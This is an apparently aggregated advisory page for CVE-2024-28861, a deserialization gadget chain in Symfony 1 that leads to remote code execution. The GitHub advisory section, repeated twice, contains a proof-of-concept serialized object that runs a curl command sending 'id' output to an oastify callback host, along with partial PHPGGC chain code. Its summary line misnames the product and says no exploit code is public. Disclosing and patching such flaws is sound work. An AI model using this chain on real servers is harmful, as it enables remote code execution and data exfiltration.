CVE-2024-28861
Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder
Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder
Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.
- Record
CVE-2024-28861- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2024-0981
9.8
Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.
- Record
EUVD-2024-0981- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-pv9j-c53q-h433 No score
Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder
Summary
Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.
Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
public function executeIndex(sfWebRequest $request)
{
$a = unserialize($request->getParameter('user'));
}
We will make the assumption this is the case in the rest of this explanation.
Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method:
public function unserialize($serialized)
{
$this->__unserialize(unserialize($serialized));
}
Which make an array access on the deserialized data without control on the type of the $data parameter:
public function __unserialize($data)
{
$this->default_namespace = $data[0];
$this->parameters = $data[1];
}
Thus, an attacker provide any object type in $data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on $data[0] for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet():
public function offsetGet($offset)
{
$value = isset($this->value[$offset]) ? $this->value[$offset] : null;
return sfOutputEscaper::escape($this->escapingMethod, $value);
}
Which trigger escape() in sfOutputEscaper class with attacker controlled parameters from deserialized object with $this->escapingMethod and $this->value[$offset]:
public static function escape($escapingMethod, $value)
{
if (null === $value)
{
return $value;
}
// Scalars are anything other than arrays, objects and resources.
if (is_scalar($value))
{
return call_user_func($escapingMethod, $value);
}
Which calls call_user_func with previous attacker controlled input.
PoC
So we need the following object to trigger an OS command like shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");:
object(sfNamespacedParameterHolder)#4 (1) {
["prop":protected]=>
object(sfOutputEscaperArrayDecorator)#3 (2) {
["value":protected]=>
array(1) {
[0]=>
string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
}
["escapingMethod":protected]=>
string(10) "shell_exec"
}
}
We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:
- gadgets.php:
class sfOutputEscaperArrayDecorator
{
protected $value;
protected $escapingMethod;
public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
class sfNamespacedParameterHolder implements Serializable
{
protected $prop = null;
public function __construct($prop) {
$this->prop = $prop;
}
public function serialize()
{
return serialize($this->prop);
}
public function unserialize($serialized)
{
}
}
- chain.php:
namespace GadgetChain\Symfony;
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.1.0 <= 1.5.18';
public static $vector = 'Serializable';
public static $author = 'darkpills';
public static $information = '';
public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
…
- Record
GHSA-pv9j-c53q-h433- Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
9.8
Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.
- Record
CVE-2024-28861- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
9.8
Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder
Symfony 1 is a community-driven fork of the 1.x branch of Symfony, a PHP framework for web projects. Starting in version 1.1.0 and prior to version 1.5.19, Symfony 1 has a gadget chain due to dangerous deserialization in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer deserializes user input in their project. Version 1.5.19 contains a patch for the issue.
- Record
CVE-2024-28861- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-pv9j-c53q-h433 No score
Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder
Summary
Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.
Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
public function executeIndex(sfWebRequest $request)
{
$a = unserialize($request->getParameter('user'));
}
We will make the assumption this is the case in the rest of this explanation.
Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method:
public function unserialize($serialized)
{
$this->__unserialize(unserialize($serialized));
}
Which make an array access on the deserialized data without control on the type of the $data parameter:
public function __unserialize($data)
{
$this->default_namespace = $data[0];
$this->parameters = $data[1];
}
Thus, an attacker provide any object type in $data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on $data[0] for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet():
public function offsetGet($offset)
{
$value = isset($this->value[$offset]) ? $this->value[$offset] : null;
return sfOutputEscaper::escape($this->escapingMethod, $value);
}
Which trigger escape() in sfOutputEscaper class with attacker controlled parameters from deserialized object with $this->escapingMethod and $this->value[$offset]:
public static function escape($escapingMethod, $value)
{
if (null === $value)
{
return $value;
}
// Scalars are anything other than arrays, objects and resources.
if (is_scalar($value))
{
return call_user_func($escapingMethod, $value);
}
Which calls call_user_func with previous attacker controlled input.
PoC
So we need the following object to trigger an OS command like shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");:
object(sfNamespacedParameterHolder)#4 (1) {
["prop":protected]=>
object(sfOutputEscaperArrayDecorator)#3 (2) {
["value":protected]=>
array(1) {
[0]=>
string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
}
["escapingMethod":protected]=>
string(10) "shell_exec"
}
}
We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:
- gadgets.php:
class sfOutputEscaperArrayDecorator
{
protected $value;
protected $escapingMethod;
public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
class sfNamespacedParameterHolder implements Serializable
{
protected $prop = null;
public function __construct($prop) {
$this->prop = $prop;
}
public function serialize()
{
return serialize($this->prop);
}
public function unserialize($serialized)
{
}
}
- chain.php:
namespace GadgetChain\Symfony;
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.1.0 <= 1.5.18';
public static $vector = 'Serializable';
public static $author = 'darkpills';
public static $information = '';
public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
…
- Record
GHSA-pv9j-c53q-h433- Weakness
- CWE-502
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
friendsofsymfony1/symfony1Packagist |
1.1.0 up to 1.5.19 | 1.5.19 |
friendsofsymfony1/symfony1Packagist |
1.1.0 up to 1.5.19, plus listed versions v1.5.10v1.5.11v1.5.12v1.5.13v1.5.14 Show 7 moreShow lessv1.5.15v1.5.16v1.5.17v1.5.18v1.5.7v1.5.8v1.5.9 |
1.5.19 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-28861 is a critical vulnerability (CVSS 9.8) in Friends Of Symfony Project Fosuserbundle, published March 22, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.55%, the 75th percentile. Fixed in friendsofsymfony1/symfony1 1.5.19.
References
github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433
github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a
github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28861.yaml
github.com/advisories/GHSA-pv9j-c53q-h433
github.com/CVEProject/cvelistV5/tree/main/cves/2024/28xxx/CVE-2024-28861.json
nvd.nist.gov/vuln/detail/CVE-2024-28861
github.com/FriendsOfSymfony1/symfony1
Left out here: the rest of 2 source descriptions. The JSON record has them.